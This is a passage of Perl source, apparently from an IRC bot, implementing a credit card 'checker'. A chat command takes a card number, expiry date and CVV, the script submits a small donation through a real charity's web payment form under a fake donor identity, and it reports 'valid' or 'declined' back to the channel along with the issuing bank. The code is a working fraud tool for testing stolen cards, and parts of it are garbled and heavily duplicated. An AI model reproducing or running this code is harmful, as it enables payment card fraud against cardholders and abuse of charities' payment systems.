07$expmes$expanio08 a 4Declined! (PICK UP CARD)"); }elsif ($allo =~/CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! (CALL BANK)"); }elsif ($allo =~/Rejected: DECLINE./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! (Rejected: DECLINE)"); }elsif ($allo =~/CALL FOR./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! (Call for authorize transaction.)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!(Invalid)"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!(Recheck)"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!(invalid)"); }elsif ($allo =~/Your Transaction has been declined. Please try again by clickin g the following button.Response Message: PICK UP CARD * CALL BANK =./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Response Message: PICK UP CARD * CALL BANK="); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08
$verific $verific $verific $verific $verific $verific $verific $verific $verific $verific $verific $verific $verific
$verific
$verific
a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/Rejected: NO CHECK ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO CHECK ACCOUNT."); }elsif ($allo =~/Invalid expiration Date. Please check format (MMYY)./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Invalid expiration Date. Please check format (MMYY)."); }elsif ($allo =~/ Rejected: CARD NO. ERROR./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: CARD NO. ERROR."); }elsif ($allo =~/ Rejected: SERV NOT ALLOWED./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: SERV NOT ALLOWED."); }elsif ($allo =~/Invalid Credit Card number./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Please be sure that your billing information is correct.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined!."); }elsif ($allo =~/try again/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined!."); }elsif ($allo =~/There have been too many failed transaction attempts from you./ ){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Merchant down!."); } } if($msg{'what'} =~ { my my my /\!emo\s(\d{15,16})\s(\d{4})\s(\d{3})/)
($numerocarta,$expmes,$verifica,) = ($1,$2,$3,); $var1 = substr($expmes,0,2); $var2 = substr($expmes,2,4); my $cctype = 0; $ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; #$ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => 'https://api.betfair.com'); my $res = $ua->request($req); #print $res->headers_as_string; #print $res->content; #print "inizio mechanize sacha\n"; if (substr($numerocarta,0,1)==4) { $cctype = "Visa"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Visa12]"); } if (substr($numerocarta,0,1)==5) { $cctype = "Mastercard"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[4Master 7Card12] "); } if (substr($numerocarta,0,1)==6) { $cctype = "Discover"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Disc7 o15ver12]");
} if (substr($numerocarta,0,1)==3) { $cctype = "Amex"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[14A2m14 e2x12]"); } &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12Number: 0 $numerocarta"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Expiration:0 $var1/20$var2 "); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Cvv:0 $verifica"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Amount:0 1USD"); my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://ssl.charityweb.net/emoregon/'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('FirstName', 'Samuel'); }; { local $^W; $agent->current_form->value('LastName', 'AYinurin'); }; { local $^W; $agent->current_form->value('Address1', '2010 Magnolia Drive'); }; { local $^W; $agent->current_form->value('city', 'clevenlad'); }; { local $^W; $agent->current_form->value('State', 'OH'); }; { local $^W; $agent->current_form->value('PostalCode', '44106'); }; { local $^W; $agent->current_form->value('Country', 'US'); }; { local $^W; $agent->current_form->value('EMail', '[email protected]'); }; { local $^W; $agent->current_form->value('cctype', ''.$cctype.''); }; { local $^W; $agent->current_form->value('CCNumber', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('CCExpMonth', ''.$var1.''); }; { local $^W; $agent->current_form->value('CCExpYear', ''.$var2.''); }; { local $^W; $agent->current_form->value('CSC', ''.$verifica.''); }; { local $^W; $agent->current_form->value('OtherTotalAmt', '10'); }; { local $^W; $agent->current_form->value('CCHolder', 'Samuel Ay'); }; { local $^W; $agent->current_form->value('DonorIntent', 'EMO (wherever the need is greatest)'); }; $agent->submit(); validate => '/regex/'; #print $agent->content; my $allo=$agent->content; #print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"re turn(CheckForm_onclick())\">\n"; #for my $allo ($agent->content) { # $allo holds an object stringified to a field name #if ($allo =~/Processor Message: The transaction has been declined becaus e of an AVS mismatch. The address provided does not match billing address of car dholder./){ #$allo->sticky(0); # clear CGI value #&respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid! => AVS mismatch"); #} else { # &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expa nio08 $verifica 4Declined!"); #} # } #print $js_array,"\n"; if ($allo =~ /Yor transaction has been approved./){ # initForm(document.getElementById ("frmDonate")); my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>;
close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg,"12,1[9Bank12] 0 $nuova 15 $1"); #print "card $variable!"; } } }elsif ($allo =~/We are sorry, but the credit card transaction has been declined ./){ my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; #&respond_to_privmsg(\%msg,"12,1[9Bank......1 2] 0 $nuova 15 $1"); } } }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4DECLINED!(Invalid)"); }elsif ($allo =~/Credit card expiration date is invalid./){ &respond_to_privmsg(\%msg,"15 is invalid."); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifi ca 0,1THIS TRANSACTION HAS BEEN 4DECLINED!"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 THE CREDIT CARD HAS4 EXPIRED!"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"7,1[0Expiration Date: 14 14$expmes$expanio 14)4 Not is Valid ."); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD 4DECLINED 7RECHECK4]"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/The credit card number entered is not valid./){ &respond_to_privmsg(\%msg,":85Credit Card: 14 9$numerocarta 14"); &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!"); }elsif ($allo =~/he following error message was returned: A duplicate transactio n has been submitted./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/ Error: Major Request Error/){ &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!");
}elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Items in bold are required fields./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~ /Click Here For a Printer Friendly Receipt.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~ /Thank you again for your partnership.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/DECLINED CVV2/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!(DECLINED CVV2)."); }elsif ($allo =~/The transaction has been declined because of an AVS.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined. (AVS mismatch)."); }elsif ($allo =~/On behalf of the Board of Directors of.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Error:Credit Card Declined/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/SGS-002000:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/D:DeclinedXXSX:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/There has been a problem processing your donation. Too many att empts. Error Code 114/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Too many attempts!"); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Expired)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Exp Date)."); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4The credit card number is invalid."); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific
a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/Credit Card Processing Error/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(error)"); }elsif ($allo =~/Credit Card Number is invalid/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Credit Card Number is invalid."); }elsif ($allo =~/The transaction has been declined because of an AVS mismatch. T he address provided does not match billing address of cardholder./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/'Please be sure that your billing information is correct and... '/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/try.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/THANK YOU/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Insufficient funds./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4doesn't has funds for ur payment. do not honour!!4"); }elsif ($allo =~/INSUFFICIENT FUNDS*/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!(INSUFFICIENT FUNDS*)"); }elsif ($allo =~/The transaction has been completed successfully.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif($internal =~/This transaction has been declined./ || $internal =~/Lost or stolen card./){ sendmsg($irc_socket, "PRIVMSG $channel 4,1[0,1Results......4,1]7,1 $pNick8,1 $ca rdnumber $expmonth.20$expyear $cvv 4,1is Declined"); }elsif ($allo =~/Rejected: NO ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO ACCOUNT."); }elsif ($allo =~/AUTHORIZATION./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Call for authorize transaction."); }elsif ($allo =~/Invalid expiration Date./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid,Please check format (MMYY).)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Expired)"); }elsif ($allo =~/HOLD CARD * CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! HOLD CARD * CALL"); }elsif ($allo =~/PICK UP CARD./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (PICK UP CARD)"); }elsif ($allo =~/CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (CALL BANK)"); }elsif ($allo =~/Rejected: DECLINE./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (Rejected: DECLINE)"); }elsif ($allo =~/CALL FOR./){
&respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (Call for authorize transaction.)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4The credit card expiration date entered is not valid."); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4The credit card number is invalid."); }elsif ($allo =~/Your Transaction has been declined. Please try again by clickin g the following button.Response Message: PICK UP CARD * CALL BANK =./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Response Message: PICK UP CARD * CALL BANK="); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/Rejected: NO CHECK ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO CHECK ACCOUNT."); }elsif ($allo =~/Invalid expiration Date. Please check format (MMYY)./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Invalid expiration Date. Please check format (MMYY)."); }elsif ($allo =~/ Rejected: CARD NO. ERROR./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: CARD NO. ERROR."); }elsif ($allo =~/ Rejected: SERV NOT ALLOWED./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: SERV NOT ALLOWED."); }elsif ($allo =~/Invalid Credit Card number./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Please be sure that your billing information is correct.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined!."); }elsif ($allo =~/try again/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined!."); } }